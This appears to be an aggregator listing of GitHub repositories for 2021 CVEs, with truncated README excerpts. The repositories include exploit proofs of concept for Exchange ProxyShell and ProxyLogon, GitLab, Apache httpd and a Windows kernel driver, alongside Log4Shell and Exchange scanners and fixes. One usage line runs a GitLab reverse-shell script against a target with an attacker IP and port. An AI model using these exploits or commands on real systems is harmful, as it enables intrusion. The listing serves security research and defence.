CVE-2021-31728

CVE-2021-31727 and CVE-2021-31728 Public Reference for CVE-2021-31727 Exposes unrestricted disk read/write capabilities. Public Reference for CVE-2021-31728 Exposes arbitrary ring 0 code execution directly. Credit Lima X helped with SystemBigPoolInformation idea...

CVE-2021-44228-Scanner

log4j2-scan is a single binary command-line tool for CVE-2021-44228 vulnerability scanning and mitigation patch. It also supports nested JAR file scanning and patch. It also detects CVE-2021-45046 log4j 2.15.0, CVE-2021-45105 log4j 2.16.0, CVE-2021-44832 log4j 2.17.0, CVE-2021-4104, CVE-2019-1757...

GitLab-CVE-2021-22205-scanner

GitLab-CVE-2021-22205-scanner Usage root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort Credit https://hackerone.com/reports/1154542 Referred code snippet from here: https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py Disclaimer:...

ProxyLogon-CVE-2021-26855-metasploit

ProxyLogon-CVE-2021-26855-metasploit CVE-2021-26855 proxyLogon exchange ssrf to arbitrary file write metasploit exploit script preparation root@kitploit: git clone https://github.com/TaroballzChen/ProxyLogon-CVE-2021-26855-metasploit cd ProxyLogon-CVE-2021-26855-metasploit mkdir -p...

CVE-2021-27850

CVE-2021-27850 CVE-2021-27850 ysoserial https://novysodope.github.io/2022/05/31/81/...

CVE-2021-21123-PoC-Google-Chrome

📝 Description Google Chrome - File System Access API - vulnerabilities reported by Maciej Pulikowski Total Bug Bounty Reward: $5.000 This is Proof of Concept for: Google SecuritySeverity CVE HIGH CVE-2021-21123 MEDIUM CVE-2021-21129 MEDIUM CVE-2021-21130 MEDIUM CVE-2021-21131 MEDIUM CVE-2021-2117...

SecureOps-Lab

SecureOps Lab - Live Cybersecurity Assessment Overview Performed a live cybersecurity assessment on a university Linux server. During analysis, active attack activity was identified, including brute-force authentication attempts and exploitation attempts targeting Log4Shell CVE-2021-44228...

CVE-2021-34473-scanner

CVE-2021-34473-scanner Scanner for CVE-2021-34473, ProxyShell, A Microsoft Exchange On-premise Vulnerability To test machines one by one, use scanner-CVE-2021-34473.bat: scanner-CVE-2021-34473.bat mail.exemple.fr To test multiple machines at once, use mass-scanner and add ip/FQDN to check, one by...

stegcrack

Stegcrack Stegcrack is an open-source program for exploiting a vulnerability in Steghide specifically CVE-2021-27211. Stegcrack detects whether a given file contains data hidden with Steghide, and can sometimes fully extract the hidden data, all with no password. Installation Clone this repositor...

log4j-jndi-be-gone

log4j-jndi-be-gone A Byte Buddy Java agent-based fix for CVE-2021-44228, the log4j 2.x "JNDI LDAP" vulnerability. It does three things: Disables the internal method handler for jndi: format strings "lookups". Logs a message to System.err i.e stderr indicating that a log4j JNDI attempt has been ma...

CVE-2021-34621

CVE-2021-34621...

CVE-2021-37748

Exploits for the CVE-2021-37748 Full writeup: https://www.secforce.com/blog/exploiting-grandstream-ht801-ata-cve-2021-37748-cve-2021-37915/...

CVE-2021-33699_Task_Hijacking

CVE-2021-33699TaskHijacking What is it? An attacker app and a victim app to practice the CVE-2021-33699Task Hijacking vulnerability. Reference https://naro-security.tistory.com/55...

packages_apps_ManagedProvisioning_CVE-2021-39692

This repository does not have a README...

packages_apps_Settings_CVE-2021-0586

This repository does not have a README...

proxyshell

ProxyShell Proof of Concept Exploit for Microsoft Exchange CVE-2021-34473, CVE-2021-34523, CVE-2021-31207 Details For background information and context, read the blog post detailing the research by Horizon3: https://www.horizon3.ai/news/blog/proxyshell Features No email address needs to be...

linux-4.19.72_CVE-2021-3347

Linux kernel There are several guides for kernel developers and users. These guides can be rendered in a number of formats, like HTML and PDF. Please read Documentation/admin-guide/README.rst first. In order to build the documentation, use make htmldocs or make pdfdocs. The formatted documentatio...

POC-CVE-2021-41773

POC CVE-2021-41773 N|Solid POC to test the vulnerability CVE-2021-41773 corresponding to the Apache httpd 2.4.49 service. POC Open your favorite Terminal and run these commands. First Tab: root@kitploit: wget https://raw.githubusercontent.com/TishcaTpx/POC-CVE-2021-41773/main/poc.py Second Tab:...

log4j-remediation

sakurajilog4j This tool is used to discover and remedidate the Log4Shell vulnerability CVE-2021-45105 by removing the 'JndiLookup.class' file from '.ear|.jar|.war' files on Windows, Linux & Mac OS. Usage: Scan OS for Log4Shell vulnerability. - sakurajilog4j discover - Example:...

CVE-2021-41773

This repository does not have a README...